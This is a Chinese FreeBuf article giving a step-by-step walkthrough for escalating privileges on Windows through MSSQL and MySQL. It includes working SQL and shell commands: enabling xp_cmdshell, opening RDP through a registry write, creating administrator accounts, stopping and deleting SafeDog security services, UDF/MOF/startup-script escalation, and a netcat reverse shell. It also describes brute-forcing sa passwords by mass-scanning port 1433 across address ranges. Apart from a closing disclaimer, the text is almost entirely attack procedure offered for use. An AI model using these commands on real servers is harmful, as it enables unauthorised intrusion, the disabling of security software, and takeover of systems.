freeBuf
主站

分类

云安全 AI安全 开发安全 终端安全 数据安全 Web安全 基础安全 企业安全 关基安全 移动安全 系统安全 其他安全

特色

热点 工具 漏洞 人物志 活动 安全招聘 攻防演练 政策法规

点我创作

试试在FreeBuf发布您的第一篇文章 让安全圈留下您的足迹
我知道了

官方公众号企业安全新浪微博

FreeBuf.COM网络安全行业门户,每日发布专业的安全资讯、技术剖析。

FreeBuf+小程序

FreeBuf+小程序

Windows数据库提权分析
2020-06-07 21:09:22

数据库提权

sqlserver数据库提权

MySQL数据库提权

需要具备数据库管理员权限才可执行提权操作

前提条件:

1.拥有数据库管理员账号密码权限

2.windows 系统下(没有被降权)

zkeys下的mysql被降权,还有宝塔也存在降权

Linux 下mysql的root权限是服务用户权限很小,不能提权

MSSQL提权

安装组件

开启3389

创建用户

提升权限

完成

sa账号获取:

爆破

查找网站源码数据库链接文件(web.config /conn.asp/aspx config.asp/aspx dbconfig.asp/aspx)

如获取到账号为xycms (不是sa,并不代表不是sa权限)

判断sa权限可以通过账号连接数据库软件,登录查看操作是否都能进行

如果有注入可以通过 sqlmap --is-dba 是true就是管理员权限,false表示不是

sqlserver一般允许sa 登录外部地址登录(mysql 的root 账号默认不允许外部地址登录)

如1433抓鸡就是扫一个如北京的地址段,筛选出开了1433的主机,然后去爆破一般都是sa,因为默认开了外联

默认开启外联(可以使用外部地址登录):

使用下图的工具SQLTOOLSV2.0输入sa 和密码登录1.png

执行命令测试,默认将cmd的组件禁用

2.png也可以使用MSSQL查询分析器(win10内可能不能使用)

如果登录后可以操作自带的SQL sever的数据库侧面证明是sa权限

3.png

mssql安装执行命令组件

安装cmd_shell组件

EXEC sp_configure 'show advanced options', 1
GO
RECONFIGURE
GO 
EXEC sp_configure 'xp_cmdshell', 1
GO
RECONFIGURE
GO

4.png5.png然后再次回到之前的工具就可以执行命令了(然后创建账号,添加到管理员组)

6.png然后登录外联mstsc,如果不能登录就需要去开启3389

开启3389
exec master.dbo.xp_regwrite'HKEY_LOCAL_MACHINE','SYSTEM\CurrentControlSet\Control\Terminal Server','fDenyTSConnections','REG_DWORD',0;--
关闭3389
exec master.dbo.xp_regwrite'HKEY_LOCAL_MACHINE','SYSTEM\CurrentControlSet\Control\Terminal Server','fDenyTSConnections','REG_DWORD',1;

7.png然后用刚才创建的账号登录,全部操作完成后将3389关闭

然后再将cmd组件删除删除cmd_shell组件,清理可以使用下面的

EXEC sp_configure 'show advanced options', 1
GO
RECONFIGURE
GO
EXEC sp_configure 'xp_cmdshell', 0
GO
RECONFIGURE
GO

绕过安全狗提权

安全狗对于创建账号是不拦截的,拦截的是将用户添加到管理员组

可以通过远程桌面用户组来登录

10.png但是这个组只是普通用户权限,需要给文件进行降权

cacls d: /e /t /g everyone:F

另一种方法:由于这些安全软件都是由驱动层保护的,在应用层的是不能结束驱动层的,可以通过以下命令禁止随机启动,然后重启(对于禁止重启无解)

system权限的情况下:
net stop "safedog guard center" /y
net stop "safedog update center" /y
net stop "safedogguardcenter" /y
删除安全狗服务:
sc stop "SafeDogGuardCenter"
sc config "SafeDogGuardCenter" start=disabled
sc delete "Safedogguardcenter"

sc stop "SafeDogupdateCenter"
sc config "SafeDogUpdateCenter" start=disabled
sc delete "SafedogUpdatecenter"

sc stop "SafeDogCloudHeler"
sc config "SafeDogCloudHeler" start=disabled
sc delete "SafeDogCloudHeler"

也可以试着使用

遐想.exe

对于只能127内部访问的:

使用大马11.png

由于组件被禁,需要提交一个可以执行sql语句的马(如绿马)

然后写入sa的密码在pwd后面,然后开启cmd shell

EXEC sp_configure 'show advanced options', 1;RECONFIGURE;EXEC sp_configure 'xp_cmdshell', 1;RECONFIGURE; 

然后去sql---sa测试使用

13.png权限为system提权成功,全部操作完成后关闭cmd shell

MySQL数据库提权

udf提权启动项提权mof提权反连端口提权

udf提权

首先获取到对方的mysql数据库下的root账号密码

1. root账号获取:

mysql调用php的站点大部分不使用root账号,都是根据不同站设置不同的用户去访问的

可以通过网站源码获取 (conn.php config.php dbconfig.php db.php config.inc.php common.inc.php(织梦的))

存放目录一般为data,inc,include等

14.png

有可能找到的不是root,而是如xycms这样的

分析网站属性:

阿里云虚拟机 300多个站(虚拟机会根据不同站点创建不同的数据库用户链接数据库),一般是普通用户权限

如果是站点是企业自己的服务器,站点不多,比如九阳家电(单个服务器单个单站或者一个企业属性站点群)

我们得到账号 不是root 并不代表它就不是root权限(可以链接查看能获取mysql操纵一般就是管理员)

2.爆破(默认不能通过外部地址爆破root)

只能爆破127或者localhost

可以用大马

15.png也可以使用tuo.php大马

然后提交通过burp抓包对密码爆破跑字典16.png

3. 下载mysql数据库文件

一般都有权限可以访问到,除非专门设置

写入一个一句话,然后通过菜刀连接

17.png查看数据库安装路径下的user.myd (/data/mysql/)下载,然后打开下载的文件

18.png然后解密

19.png

如果解密出不来,或者不完整,或者登录使用这个密码不能登录(存在其他密码的可能性)

可以这样操作将user的3个文件都下载下来

20.png然后将下载的文件在本地的mysql中进行文件的替换(将自己的原本的user的文件备份,最好服务器用的什么版本本地替换的就用什么)21.png先将数据库停止,然后打开cmd进入打mysql下的bin目录下输入跳过验证的命令

mysqld --skip-grant-tables 跳过验证
mysql.exe -uroot    进入MySQL

打开mysql的命令行不需要输入密码直接回车进入

use mysql
select * from user

22.png

得到密文可以破解

暴力破解 mysql密码破解 3306端口入侵

udf提权原理:

通过root权限导出udf.dll到系统目录下,可以通过udf.dll调用执行cmd

使用toolsudf.php,然后输入破解到的密码登录,浏览器缓存可能对导致如下的失败

23.png切换浏览器打开成功(mysql5.1以下会导在c盘的windows目录下,5.1以上的会倒在如下图的plugin下)

24.png点击创建plugin目录

然后点击导出udf

然后点击创建函数

然后点击执行命令25.png

然后执行提权操作,创建用户,添加导管理员组

这种情况下生成个mdf的payload,用这个命令执行,得到的权限是当前权限(system权限)

但是直接路径去执行程序也是不能的,因为\会被转义,可以查看脚本写路径是用的双\\所以这里应该用双\\26.png

udf.dll存放目录:

C:\Winnt\udf.dll 2000

C:\Windows\udf.dll 2003

现在基本上win的服务器就这两个导出UDF.DLL

5.1以上版本需要导出到mysql安装目录lib\plugin\

create function cmdshell returns string soname 'udf.dll'
select cmdshell('net user cracer cracer /add');  
select cmdshell('net localgroup administrators cracer /add');  
drop function cmdshell; 删除函数

启动项提权

1、查看我们进入数据库中有些什么数据表

mysql>show tables;

默认的情况下,test中没有任何表的存在。

以下为关键的部分

2、在TEST数据库下创建一个新的表;

mysql>create table a (cmd text);

好了,我们创建了一个新的表,表名为a,表中只存放一个字段,字段名为cmd,为text文本。

3、在表中插入内容

mysql>insert into a values ("set wshshell=createobject (""wscript.shell"")");

mysql>insert into a values ("a=wshshell.run (""cmd.exe /c net user 1 1 /add"",0)");

mysql>insert into a values ("b=wshshell.run (""cmd.exe /c net localgroup Administrators 1 /add"",0)");

注意双引号和括号以及后面的“0”一定要输入!我们将用这三条命令来建立一个VBS的脚本程序!

4、好了,现在我们来看看表a中有些什么

mysql>select * from a;

我们将会看到表中有三行数据,就是我们刚刚输入的内容,确认你输入的内容无误后,我们来到下一步

5、输出表为一个VBS的脚本文件

mysql>select * from a into outfile "c://docume~1//administrator//「开始」菜单//程序//启动//a.vbs";

6.重启即可!(ms12-020溢出利用导致蓝屏,让它重启)

mof提权

第一种方法:

上传mof.php

然后登录27.png

先点击利用成功

28.png然后写入命令添加用户以及添加导管理员组用&&连接

29.png

往往一次执行不成功,需要多次点击执行,可以通过抓包一直发

将包发到爆破组中然后对一个无关紧要的数据添加变量,让他一直跑30.png

31.png

第二种方法:

上传文件x.mof

使用select命令导出入到正确位置

命令执行可以用testa.php这个大马

32.pngselect load_file('C:/wmpub/nullevt.mof') into dumpfile 'c:/windows/system32/wbem/mof/nullevt.mof'

允许外部地址使用root用户连接的sql语句

Grant all privileges on *.* to 'root'@'%' identified by 'root' with grant option;

反链端口提权

1、需要上传一个高版本的脚本,然后登录脚本33.png

先导出udf

34.png导出成功之后,点击创建反弹函数

然后点击执行反弹

由于他会识别你的ip,会直接反弹到你的ip,如果自己在内网需要对方反弹到一个vps/ngrok上,需要将ip修改后执行反弹

35.png

2、本地监听你反弹的端口

nc存放

nc.exe -vv -l -p 2010开启监听

然后点击执行反弹

36.png成功后,你将获得一个system权限的cmdshell,其实这个也是利用的UDF提权。

37.png38.png

然后通过创建用户等操作提权

执行命令

# 渗透测试 # 提权 # Windows提权
免责声明
1.一般免责声明:本文所提供的技术信息仅供参考,不构成任何专业建议。读者应根据自身情况谨慎使用且应遵守《中华人民共和国网络安全法》,作者及发布平台不对因使用本文信息而导致的任何直接或间接责任或损失负责。
2. 适用性声明:文中技术内容可能不适用于所有情况或系统,在实际应用前请充分测试和评估。若因使用不当造成的任何问题,相关方不承担责任。
3. 更新声明:技术发展迅速,文章内容可能存在滞后性。读者需自行判断信息的时效性,因依据过时内容产生的后果,作者及发布平台不承担责任。
本文为 独立观点,未经授权禁止转载。
如需授权、对文章有疑问或需删除稿件,请联系 FreeBuf 客服小蜜蜂(微信:freebee1024)
被以下专辑收录,发现更多精彩内容
+ 收入我的专辑
+ 加入我的收藏
相关推荐
  • 0 文章数
  • 0 关注者
文章目录